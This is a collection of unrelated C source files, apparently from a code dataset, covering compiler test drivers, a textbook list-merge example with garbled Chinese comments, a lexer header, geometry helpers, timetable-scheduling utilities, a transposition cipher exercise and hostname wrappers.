printf("\033[0m"); if(i < SEMANTIC_TESTS-1) printf("|\n|\n"); } return 0; } int yellDebug(){ FILE *source1 = fopen("tests/test-code.4", "r"); pToken token1 = NULL; scannerGetTokenList(&token1, source1); parser(&token1); fclose(source1); scannerFreeTokenList(&token1); return 0; } int janchDebug(){ FILE *source = fopen("tests/test-input-2", "r"); pToken token; int retval = scannerGetTokenList(&token, source); if(retval == 0){ generateBaseCode(); retval = parser(&token); } scannerFreeTokenList(&token); fclose(source); return retval; }
C
/* algo2-4.c ޸㷨2.7ĵһѭеΪ䣬ҵ */ /* *pa=*pbʱֻ֮һLc˲Ľ㷨2.1ͬ */ #include"c1.h" typedef int ElemType; #include"c2-1.h" #include"bo2-1.c" #include"func2-3.c" /* equal()comp()print()print2()print1() */ void MergeList(SqList La,SqList Lb,SqList *Lc) { /* һֺϲԱķ(㷨2.7µҪ޸㷨2.7)LaLbLcΪеı */ ElemType *pa,*pa_last,*pb,*pb_last,*pc; pa=La.elem; pb=Lb.elem; (*Lc).listsize=La.length+Lb.length; /* ˾㷨2.7ͬ */ pc=(*Lc).elem=(ElemType *)malloc((*Lc).listsize*sizeof(ElemType)); if(!(*Lc).elem) exit(OVERFLOW); pa_last=La.elem+La.length-1; pb_last=Lb.elem+Lb.length-1; while(pa<=pa_last&&pb<=pb_last) /* LaͱLbǿ */ switch(comp(*pa,*pb)) /* ˾㷨2.7ͬ */ { case 0: pb++; case -1: *pc++=*pa++; break; case 1: *pc++=*pb++; } while(pa<=pa_last) /* LaǿұLb */ *pc++=*pa++; while(pb<=pb_last) /* LbǿұLa */ *pc++=*pb++; (*Lc).length=pc-(*Lc).elem; /* Ӵ˾ */ } void main() { SqList La,Lb,Lc; int j; InitList(&La); /* ձLa */ for(j=1;j<=5;j++) /* ڱLaв5ԪأΪ12345 */ ListInsert(&La,j,j); printf("La= "); /* La */ ListTraverse(La,print1); InitList(&Lb); /* ձLb */ for(j=1;j<=5;j++) /* ڱLbв5ԪأΪ246810 */ ListInsert(&Lb,j,2*j); printf("Lb= "); /* Lb */ ListTraverse(Lb,print1); MergeList(La,Lb,&Lc); /* ɰеıLaLbõеıLc */ printf("Lc= "); /* Lc */ ListTraverse(Lc,print1); } 
C
#include <stdio.h> #pragma warning(disable:4996) int main() { //char a = 's'; ////char a; //char b; //b = getchar(a); //printf("%c ", a); ////putchar(a); //printf("\n"); char a; a = getchar(); printf("%c \n", a); return 0; }
C
#ifndef SYSTEM_STRING_LEXER_H #define SYSTEM_STRING_LEXER_H //////////////////////////////////////////////////////////// // Headers //////////////////////////////////////////////////////////// #include <Config.h> #include <stdio.h> #include <System/String/bstrlib.h> //////////////////////////////////////////////////////////// // Definitions //////////////////////////////////////////////////////////// #define LEXER_ERROR 0x00 #define LEXER_OK 0x01 #define LEXER_EOF 0x02 #define LEXER_UPPER "ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define LEXER_LOWER "abcdefghijklmnopqrstuvwxyz" #define LEXER_DIGIT "0123456789" #define LEXER_BLANK "\t\n\r " #define LEXER_SEPARATOR "\t " #define LEXER_ALPHA LEXER_UPPER LEXER_LOWER #define LEXER_ALPHANUMERIC LEXER_UPPER LEXER_LOWER LEXER_DIGIT //////////////////////////////////////////////////////////// // Data structure //////////////////////////////////////////////////////////// struct Lexer { FILE * Input; ///< Input file int Current; ///< Current character bool HasCurrent; ///< Check if current has a preread character bstring Item; ///< Token being read bool OwnItem; ///< Check if the Lexer owns the item reference bool Started, Off; ///< State indicators }; //////////////////////////////////////////////////////////// /// Lexer initializer (the FILE have to be opened) //////////////////////////////////////////////////////////// struct Lexer * LexerCreate(FILE * File); //////////////////////////////////////////////////////////// /// Lexer destructor (it doesn't close the file) //////////////////////////////////////////////////////////// void LexerDestroy(struct Lexer * LexPtr); //////////////////////////////////////////////////////////// // Consultants // // TODO: side-effect free //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// /// Returns the last string read by the lexer (the bstring /// have to be released) //////////////////////////////////////////////////////////// bstring LexerItemGet(struct Lexer * LexPtr); //////////////////////////////////////////////////////////// /// Check if the lexer began to read a file //////////////////////////////////////////////////////////// bool LexerStarted(const struct Lexer * LexPtr); //////////////////////////////////////////////////////////// /// Check if the lexer finished to read a file //////////////////////////////////////////////////////////// bool LexerOff(const struct Lexer * LexPtr); //////////////////////////////////////////////////////////// // Operators //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// /// Reads as many characters as possible belonging to Charset //////////////////////////////////////////////////////////// void LexerNext(struct Lexer * LexPtr, const char * Charset); //////////////////////////////////////////////////////////// /// Reads as many characters as possible not belonging to Charset //////////////////////////////////////////////////////////// void LexerNextTo(struct Lexer * LexPtr, const char * Charset); //////////////////////////////////////////////////////////// /// Reads one character belonging to Charset //////////////////////////////////////////////////////////// void LexerNextChar(struct Lexer * LexPtr, const char * Charset); //////////////////////////////////////////////////////////// /// Skip until the end of line //////////////////////////////////////////////////////////// UInt32 LexerNextLine(struct Lexer * LexPtr); //////////////////////////////////////////////////////////// /// Reads as many characters as possible belonging to /// Charset (the read characters are lost) //////////////////////////////////////////////////////////// void LexerSkip(struct Lexer * LexPtr, const char * Charset); //////////////////////////////////////////////////////////// /// Reads as many characters as possible not belonging to /// Charset (the read characters are lost) //////////////////////////////////////////////////////////// void LexerSkipTo(struct Lexer * LexPtr, const char * Charset); #endif // SYSTEM_STRING_LEXER_H
C
# include "func.h" # include <stdio.h> # include <string.h> # include <math.h> void DISTANCE(char *argv_2, char *argv_3, char *argv_4, char *argv_5){ double x1, y1, x2, y2; sscanf(argv_2, "%lf", &x1); sscanf(argv_3, "%lf", &y1); sscanf(argv_4, "%lf", &x2); sscanf(argv_5, "%lf", &y2); printf("distance: %.2lf\n", sqrt((x2-x1)*(x2-x1)+(y2-y1)*(y2-y1)) ); } void AREA(char *argv_2, char *argv_3, char *argv_4, char *argv_5){ double x1, y1, x2, y2; sscanf(argv_2, "%lf", &x1); sscanf(argv_3, "%lf", &y1); sscanf(argv_4, "%lf", &x2); sscanf(argv_5, "%lf", &y2); double ret = (x2-x1)*(y2-y1); if(ret < 0) ret *= -1; printf("area: %.2lf\n", ret); } void MID_POINT(char *argv_2, char *argv_3, char *argv_4, char *argv_5){ double x1, y1, x2, y2; sscanf(argv_2, "%lf", &x1); sscanf(argv_3, "%lf", &y1); sscanf(argv_4, "%lf", &x2); sscanf(argv_5, "%lf", &y2); printf("mid point: (%.2lf, %.2lf)\n", (x2+x1)/2, (y2+y1)/2 ); } void CIRCLE(char *argv_2, char *argv_3, char *argv_4){ double r; sscanf(argv_4, "%lf", &r); printf("circle area: %.2lf\n", r*r*3.14); } void BARY(char *argv_2, char *argv_3, char *argv_4, char *argv_5, char *argv_6, char *argv_7){ double x1, y1, x2, y2, x3, y3; sscanf(argv_2, "%lf", &x1); sscanf(argv_3, "%lf", &y1); sscanf(argv_4, "%lf", &x2); sscanf(argv_5, "%lf", &y2); sscanf(argv_6, "%lf", &x3); sscanf(argv_7, "%lf", &y3); printf("center of traingle: (%.2lf, %.2lf)\n", (double)(x1+x2+x3)/3, (double)(y1+y2+y3)/3); }
C
#include <stdio.h> #include "Random.h" #include "Structure.h" #include "RedBlackTree.h" #include "TestStructure.h" #include "CException.h" #include "ErrorCode.h" #include "malloc.h" #include "time.h" #define FOR_TEST #define Lecture 'l' #define Tutorial 't' #define Practical 'p' ClassCounter *classCount; /**************************************************************************** * Functions *****************************************************************************/ /**************************************************************************** * Function name : clearClass * Inputs : Class sourceClass * Output/return : NONE * Destroy : Class sourceClass * Description : The purpose of this function is to clear particular slot in class[][][] *****************************************************************************/ void clearClass(Class *sourceClass){ sourceClass->course = NULL; sourceClass->lecturer = NULL; sourceClass->typeOfClass = 0; sourceClass->groupIndexInClass = 0; sourceClass->groupInClass = NULL; } /**************************************************************************** * Function name : clearTimeTable * Inputs : Class sourceClass[MAX_VENUE][MAX_DAY][MAX_TIME_SLOTS] * Output/return : NONE * Destroy : Class sourceClass[MAX_VENUE][MAX_DAY][MAX_TIME_SLOTS] * Description : The purpose of this function is to clear a class[][][] *****************************************************************************/ void clearTimeTable(Class sourceClass[MAX_VENUE][MAX_DAY][MAX_TIME_SLOT]){ int venue, day, time; for( venue = 0 ; venue < MAX_VENUE ; venue++ ){ for( day = 0 ; day < MAX_DAY ; day++ ){ for( time = 0 ; time < MAX_TIME_SLOT ; time++ ){ clearClass(&sourceClass[venue][day][time]); } } } } /**************************************************************************** * Function name : checkEqualClass * Inputs : Class sourceClass, Class classToCompare * Output/return : 1 if equal, 0 otherwise * Destroy : NONE * Description : The purpose of this function is to compare whether * two different classes have the same elements *****************************************************************************/ int checkEqualClass(Class *newClass, Class *newClass2){ if(newClass->course == NULL && newClass2->course == NULL) return 1; if(newClass->course != newClass2->course) return 0; if(newClass->lecturer != newClass2->lecturer) return 0; if(newClass->typeOfClass != newClass2->typeOfClass) return 0; if(newClass->groupIndexInClass != newClass2->groupIndexInClass) return 0; if(newClass->groupInClass || newClass2->groupInClass){ if(newClass->groupInClass != newClass2->groupInClass) return 0; } return 1; } /**************************************************************************** * Function name : classIsNull * Inputs : Class sourceClass * Output/return : 1 if class is NULL, 0 otherwise * Destroy : NONE * Description : The purpose of this function is to perform * class checking to make sure it is NULL or contains data *****************************************************************************/ int classIsNull(Class *sourceClass){ if(sourceClass->course != NULL) return 0; if(sourceClass->lecturer != NULL) return 0; if(sourceClass->typeOfClass != 0) return 0; if(sourceClass->groupIndexInClass != 0) return 0; if(sourceClass->groupInClass != NULL) return 0; return 1; } /**************************************************************************** * Function name : swapTwoClassesInTimetable * Inputs : Class timeTable[MAX_VENUE][MAX_DAY][MAX_TIME_SLOT], * ClassIndex *source, ClassIndex *goal * Output/return : NONE * Destroy : timeTable[source] and timeTable[goal] * Description : The purpose of this function is to perform * class swapping between two classes in the timetable *****************************************************************************/ void swapTwoClassesInTimetable(Class timeTable[MAX_VENUE][MAX_DAY][MAX_TIME_SLOT],\ ClassIndex *source, ClassIndex *goal) { Class temporaryClass; temporaryClass = timeTable[source->venue][source->day][source->time]; timeTable[source->venue][source->day][source->time] = timeTable[goal->venue][goal->day][goal->time]; timeTable[goal->venue][goal->day][goal->time] = temporaryClass; } /**************************************************************************** * Function name : classGetTotalStudent * Inputs : Class classToCheck * Output/return : totalStudents * Destroy : NONE * Description : The purpose of this function is to perform * class checking and return the total students in the class *****************************************************************************/ int classGetTotalStudent(Class *classToCheck){ int combinedGroupSize, totalCombinedGroups, i; int totalStudents = 0; Group **groups; if(classIsNull(classToCheck)) return 0; if(classToCheck->groupInClass == NULL){ totalStudents = classGetTotalStudentInLecture(classToCheck); return totalStudents; } else{ groups = courseGetCombinedGroups(classToCheck->course,classToCheck->groupIndexInClass, &combinedGroupSize); for(i = 0 ; i < combinedGroupSize ; i++){ totalStudents += groups[i]->groupSize; } } return totalStudents; } /**************************************************************************** * Function name : classGetTotalStudentInLecture * Inputs : Class classToCheck * Output/return : totalStudents(lecture only) * Destroy : NONE * Description : The purpose of this function is to perform * class checking and return the total students in lectureClass * This is a sub-function of classGetTotalStudent *****************************************************************************/ int classGetTotalStudentInLecture(Class *classToCheck){ int combinedGroups, combinedGroupSize, i, j; int totalStudents = 0; Group **groups; combinedGroups = courseGetNumberOfCombinedGroups(classToCheck->course); for(i = 0 ; i < combinedGroups ; i++){ groups = courseGetCombinedGroups(classToCheck->course,i, &combinedGroupSize); for(j = 0 ; j < combinedGroupSize ; j++){ totalStudents += groups[j]->groupSize; } } return totalStudents; } /**************************************************************************** * Function name : courseGetNumberOfCombinedGroups * Inputs : Class *course * Output/return : The number of combined group(s) in the course * Destroy : NONE * Description : The purpose of this function is to return the total * combined groups in the course. *****************************************************************************/ int courseGetNumberOfCombinedGroups(Course *course){ if(course != NULL) return course->numOfCombinedGroups; else return 0; } /**************************************************************************** * Function name : courseGetCombinedGroups * Inputs : Course *course, int index, int *number * Output/return : **group in the selected combinedGroup * Destroy : int *number * Description : The purpose of this function is to return the group(s) * in the selected combinedGroup according the index *****************************************************************************/ Group **courseGetCombinedGroups(Course *course, int index, int *number){ if(course == NULL) Throw(ERR_EMPTY_COURSE); if(index >= course->numOfCombinedGroups) Throw(ERR_EXCEEDED_INDEX); (*number) = course->combinedGroups[index].size; return (course->combinedGroups[index].groups); } /**************************************************************************** * Function name : combinedGroupsGetName * Inputs : CombinedGroups *combinedGroups, int index * Output/return : *char the name of selected group in combinedGroup * Destroy : NONE * Description : The purpose of this function is to return the name of selected * group among the combinedGroup *****************************************************************************/ char *combinedGroupsGetName(CombinedGroups *combinedGroups, int index){ if(index >= combinedGroups->size) Throw(ERR_EXCEEDED_INDEX); if(combinedGroups->groups[index]) return combinedGroups->groups[index]->groupName; } /**************************************************************************** * Function name : courseGetProgrammes * Inputs : Course *course, int *number * Output/return : **programme in the course * Destroy : *number * Description : The purpose of this function is to return the programme(s) * in the course. * *number will be replaced with the number of programmes in course *****************************************************************************/ Programme **courseGetProgrammes(Course *course, int *number){ if(course != NULL){ (*number) = course->numOfProgramme; return course->programme; } } /**************************************************************************** * Function name : programmeGetName * Inputs : Programme *programme * Output/return : *char nameOfProgramme * Destroy : NONE * Description : The purpose of this function is to return the programme's * name. *****************************************************************************/ char *programmeGetName(Programme *programme){ if(programme != NULL) return programme->programmeName; } /**************************************************************************** * Function name : getIndexInList * Inputs : void *data, char type * Output/return : int indexOfDataInList * Destroy : NONE * Description : The purpose of this function is to return the data's index * as declare in the list. * It is able to return the index for courseList, lecturerList, * groupList, programmeList and venueList *****************************************************************************/ int getIndexInList(void *data, char type){ int *addressOfData = (int*)data; int *addressOfFirstIndex = 0; int index = 0, sizeOfType; switch(type){ case 'c': addressOfFirstIndex = (int*)(&courseList[0]); sizeOfType = sizeof(Course); break; case 'l': addressOfFirstIndex = (int*)(&lecturerList[0]); sizeOfType = sizeof(Lecturer); break; case 'g': addressOfFirstIndex = (int*)(&groupList[0]); sizeOfType = sizeof(Group); break; case 'p': addressOfFirstIndex = (int*)(&programmeList[0]); sizeOfType = sizeof(Programme); break; case 'v': addressOfFirstIndex = (int*)(&venueList[0]); sizeOfType = sizeof(Venue); break; default: Throw(ERR_INVALID_TYPE); break; } //mutiply 4 because 1 = 4 bits index = ((addressOfData-addressOfFirstIndex)*4)/sizeOfType; return index; } /**************************************************************************** * Function name : indexForward * Inputs : ClassIndex *classIndex * Output/return : NONE * Destroy : classIndex->venue, classIndex->day, classIndex->time * Description : The purpose of this function is to perform * 3-Dimensional array index incremental. index will * reset to 0,0,0 when overload *****************************************************************************/ void indexForward(ClassIndex *classIndex){ if(classIndex->venue < 0 || classIndex->day < 0 || classIndex->time < 0) Throw(ERR_EXCEEDED_INDEX); if(classIndex->venue >= MAX_VENUE || classIndex->day >= MAX_DAY || classIndex->time >= MAX_TIME_SLOT) Throw(ERR_EXCEEDED_INDEX); (classIndex->time)++; if(classIndex->time >= MAX_TIME_SLOT){ classIndex->time = 0; (classIndex->day)++; } if(classIndex->day >= MAX_DAY){ classIndex->day = 0; (classIndex->venue)++; } if(classIndex->venue >= MAX_VENUE) classIndex->venue = 0; } /**************************************************************************** * Function name : indexBackward * Inputs : ClassIndex *classIndex * Output/return : NONE * Destroy : classIndex->venue, classIndex->day, classIndex->time * Description : The purpose of this function is to perform * 3-Dimensional array index decremental. index will * reset to max value of each index when less than 0,0,0 *****************************************************************************/ void indexBackward(ClassIndex *classIndex){ if(classIndex->venue < 0 || classIndex->day < 0 || classIndex->time < 0) Throw(ERR_EXCEEDED_INDEX); if(classIndex->venue >= MAX_VENUE || classIndex->day >= MAX_DAY || classIndex->time >= MAX_TIME_SLOT) Throw(ERR_EXCEEDED_INDEX); (classIndex->time)--; if(classIndex->time < 0){ classIndex->time = MAX_TIME_SLOT - 1; (classIndex->day)--; } if(classIndex->day < 0){ classIndex->day = MAX_DAY - 1; (classIndex->venue)--; } if(classIndex->venue < 0) classIndex->venue = MAX_VENUE - 1; } /**************************************************************************** * Function name : initClassCounter * Inputs : NONE * Output/return : NONE * Destroy : NONE * Description : The purpose of this function is to initialize the classCount * by malloc according to the amount of course, and groups *****************************************************************************/ void initClassCounter(){ int i, j; int courseSize = getCourseSize(); int groupSize = getGroupSize(); classCount = calloc(courseSize+1, sizeof(ClassCounter)); for(i = 0 ; i < courseSize+1 ; i++){ classCount[i].groupCounter = calloc(groupSize, sizeof(ClassGroupCounter)); } } /**************************************************************************** * Function name : updateEmptyCounterFromClassWithSignal * Inputs : int emptyIndex, int totalEmptySlots * Output/return : 1 if able to update counter, 0 otherwise * Destroy : classCount[emptyIndex].forEmptyClasses * Description : The purpose of this function is to plot the amount of empty * classes had scan through *****************************************************************************/ int updateEmptyCounterFromClassWithSignal(int emptyIndex, int totalEmptySlots){ if(classCount[emptyIndex].forEmptyClasses < totalEmptySlots){ classCount[emptyIndex].forEmptyClasses++; return 1; } else return 0; } /**************************************************************************** * Function name : updateGroupLectureCounterFromClassWithSignal * Inputs : Class classToCheck * Output/return : 1 if able to update counter, 0 otherwise * Destroy : classCount[courseIndex].lectureCounter * Description : The purpose of this function is to plot the histogram of * each group to keep track the Lecture classes taken by them *****************************************************************************/ int updateGroupLectureCounterFromClassWithSignal(Class *classToCheck){ int gSize, cgSize, courseIndex, groupIndex, i, j; Group **receivedGroup; cgSize = courseGetNumberOfCombinedGroups(classToCheck->course); for(i = 0 ; i < cgSize ; i++){ receivedGroup = courseGetCombinedGroups(classToCheck->course, i, &gSize); courseIndex = getIndexInList(classToCheck->course, 'c'); for(j = 0 ; j < gSize ; j++){ groupIndex = getIndexInList(receivedGroup[j], 'g'); if(classCount[courseIndex].groupCounter[groupIndex].lectureCounter < courseList[courseIndex].hoursOfLecture) classCount[courseIndex].groupCounter[groupIndex].lectureCounter++; else return 0; } } return 1; } /**************************************************************************** * Function name : updateGroupTutorialCounterFromClassWithSignal * Inputs : Class classToCheck * Output/return : 1 if able to update counter, 0 otherwise * Destroy : classCount[courseIndex].tutorialCounter * Description : The purpose of this function is to plot the histogram of * each group to keep track the Tutorial classes taken by them *****************************************************************************/ int updateGroupTutorialCounterFromClassWithSignal(Class *classToCheck){ int gSize, courseIndex, groupIndex, i; Group **receivedGroup; receivedGroup = courseGetCombinedGroups(classToCheck->course, classToCheck->groupIndexInClass, &gSize); courseIndex = getIndexInList(classToCheck->course, 'c'); for(i = 0 ; i < gSize ; i++){ groupIndex = getIndexInList(receivedGroup[i], 'g'); if(classCount[courseIndex].groupCounter[groupIndex].tutorialCounter < courseList[courseIndex].hoursOfTutorial) classCount[courseIndex].groupCounter[groupIndex].tutorialCounter++; else return 0; } return 1; } /**************************************************************************** * Function name : updateGroupPracticalCounterFromClassWithSignal * Inputs : Class classToCheck * Output/return : 1 if able to update counter, 0 otherwise * Destroy : classCount[courseIndex].practicalCounter * Description : The purpose of this function is to plot the histogram of * each group to keep track the practical classes taken by them *****************************************************************************/ int updateGroupPracticalCounterFromClassWithSignal(Class *classToCheck){ int gSize, courseIndex, groupIndex, i; Group **receivedGroup; receivedGroup = courseGetCombinedGroups(classToCheck->course, classToCheck->groupIndexInClass, &gSize); courseIndex = getIndexInList(classToCheck->course, 'c'); for(i = 0 ; i < gSize ; i++){ groupIndex = getIndexInList(receivedGroup[i], 'g'); if(classCount[courseIndex].groupCounter[groupIndex].practicalCounter < courseList[courseIndex].hoursOfPractical) classCount[courseIndex].groupCounter[groupIndex].practicalCounter++; else return 0; } return 1; } /**************************************************************************** * Function name : updateGroupCounterFromClassWithSignal * Inputs : Class classToCheck * Output/return : 1 if valid to extract, 0 otherwise * Destroy : NONE * Description : The purpose of this function is to plot the histogram of * each group to keep track of classes taken by them *****************************************************************************/ int updateGroupCounterFromClassWithSignal(Class *classToCheck){ int i; int size = getCourseSize(); int emptyIndex = size; int emptyClasses = (MAX_VENUE*MAX_DAY*MAX_TIME_SLOT) - getClazzListSize(); int returnValue; if(classIsNull(classToCheck)) returnValue = updateEmptyCounterFromClassWithSignal(emptyIndex, emptyClasses); else if(classToCheck->typeOfClass == Lecture) returnValue = updateGroupLectureCounterFromClassWithSignal(classToCheck); else if(classToCheck->typeOfClass == Tutorial) returnValue = updateGroupTutorialCounterFromClassWithSignal(classToCheck); else if(classToCheck->typeOfClass == Practical) returnValue = updateGroupPracticalCounterFromClassWithSignal(classToCheck); return returnValue; } /**************************************************************************** * Function name : randomIndex * Inputs : ClassIndex *classIndex * Output/return : NONE * Destroy : classIndex * Description : The purpose of this function is to randomize the * values of venue,day and time index to pick an offset * for crossover purpose *****************************************************************************/ void randomIndex(ClassIndex *classIndex){ classIndex->venue = randomVenue(); classIndex->day = randomDay(); classIndex->time = randomTime(); } /**************************************************************************** * Function name : initRandom * Inputs : NONE * Output/return : NONE * Destroy : NONE * Description : The purpose of this function is to randomize the * values of venue,day and time index to initialize random *****************************************************************************/ void initRandom(){ int seed = time(NULL); srand(seed); }
C
#include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int main(){ // char **Matrix,**z; int ROW,COLUMN; // char z[COLUMN][ROW]; int i,j,k=0,b; char a[100]; printf("the plain text is:"); fgets(a,100,stdin); printf("enter the key value:"); scanf("%d",&ROW); b=strlen(a); printf("%d\n",b); COLUMN=b/ROW; printf("%d\n",COLUMN); printf("%d\n",ROW); Matrix = (char **)calloc(ROW, sizeof(char *)); for(i = 0; i < ROW; i++){ Matrix[i] = (char *)calloc(COLUMN, sizeof(char)); } // z = (char **)calloc(COLUMN, sizeof(char *)); // for(i = 0; i < COLUMN; i++){ // z[i] = (char *)calloc(ROW, sizeof(char)); // } for(i=0;i<COLUMN;i++){ for(j=0;j<ROW;j++){ Matrix[j][i]=a[k++]; } } for(i=0;i<ROW;i++){ for(j=0;j<COLUMN;j++){ printf("%c ",Matrix[i][j]); } printf("\n"); } printf("\n"); // for(i=0;i<ROW;i++){ // for(j=0;j<COLUMN;j++){ // z[j][i]=Matrix[i][j]; // } // } // for(i=0;i<ROW;i++){ // for(j=0;j<COLUMN;j++){ // printf("%c ",z[i][j]); // } // printf("\n"); // } for(i=0;i<COLUMN;i++){ for(j=0;j<ROW;j++){ printf("%c ",Matrix[j][i]); } } return 0; // for(i=0;i<COLUMN;i++){ // for(j=0;j<ROW;j++){ // printf("%c ",Matrix[i][j]); // } // } }
C
/* gethostname(), getdomainname() uname() syscall is used in both */ #include <unistd.h> #include <string.h> #include <errno.h> /* Return hostname (e.g. "dksrv") in @buf */ int gethostname (char *buf, int sz) { struct utsname u; if (sz < _UTSNAME) { /* Too small buffer */ errno = EINVAL; return -1; } uname(&u); memcpy (buf, u.nodename, _UTSNAME); return 0; } /* Return domain name (e.g. "dk-vrn") in @buf. WARNING: Not POSIX WARNING: domain name is *not* FQDN!!! */ int getdomainname (char *buf, int sz) { struct utsname u; if (sz < _UTSNAME) { /* Too small buffer */ errno = EINVAL; return -1; } uname(&u); memcpy (buf, u.domainname, _UTSNAME); return 0; }